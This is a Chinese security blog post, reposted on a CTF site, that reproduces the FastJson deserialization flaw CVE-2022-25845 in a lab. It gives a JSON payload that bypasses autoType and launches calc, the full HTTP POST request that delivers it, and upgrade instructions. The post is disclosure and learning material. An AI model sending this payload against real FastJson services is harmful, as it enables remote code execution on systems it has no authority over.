FastJson代码执行漏洞(CVE-2022-25845)

渗透技巧 2年前 (2022) admin
1,334 0 0

 

网安引领时代,弥天点亮未来   

 

FastJson代码执行漏洞(CVE-2022-25845)
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!

FastJson代码执行漏洞(CVE-2022-25845)
0x01简要描述

Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON字符串,也可以从 JSON 字符串反序列化到 JavaBean。在 Fastjson 1.2.80 及以下版本中存在反序列化漏洞,攻击者可以在特定依赖下利用此漏洞绕过默认autoType 关闭限制,从而反序列化有安全风险的类。

FastJson代码执行漏洞(CVE-2022-25845)

FastJson代码执行漏洞(CVE-2022-25845)
0x02影响版本
 

FastJson ≤1.2.80

FastJson代码执行漏洞(CVE-2022-25845)
0x03漏洞复现

 

漏洞payload

 

{    "@type": "java.lang.Exception",    "@type": "com.github.isafeblue.fastjson.SimpleException",    "domain": "calc"}

下载源码启动环境,发送payload

 

POST /addComment HTTP/1.1Host: 10.211.55.7:8099Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Content-Length: 40Content-Type: application/json; charset=utf-8Cookie: LOGIN_LANG=cnOrigin: http://10.211.55.7:8099Referer: http://10.211.55.7:8099/User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:102.0) Gecko/20100101 Firefox/102.0X-Requested-With: XMLHttpRequest
{    "@type": "java.lang.Exception",    "@type": "com.github.isafeblue.fastjson.SimpleException",    "domain": "calc"}
FastJson代码执行漏洞(CVE-2022-25845)

成功执行

FastJson代码执行漏洞(CVE-2022-25845)

FastJson代码执行漏洞(CVE-2022-25845)
0x04修复方法

1、升级至版本 FastJson 1.2.83:

https://github.com/alibaba/fastjson/releases/tag/1.2.83

2、升级到 FastJosn v2:

https://github.com/alibaba/fastjson2/releases

 

FastJson代码执行漏洞(CVE-2022-25845) 

知识分享完了

喜欢别忘了关注我们哦~

学海浩茫,

予以风动,
必降弥天之润!

   弥  天

安全实验室

FastJson代码执行漏洞(CVE-2022-25845)

原文始发于微信公众号(弥天安全实验室):FastJson代码执行漏洞(CVE-2022-25845)

版权声明:admin 发表于 2022年7月15日 上午12:01。
转载请注明:FastJson代码执行漏洞(CVE-2022-25845) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...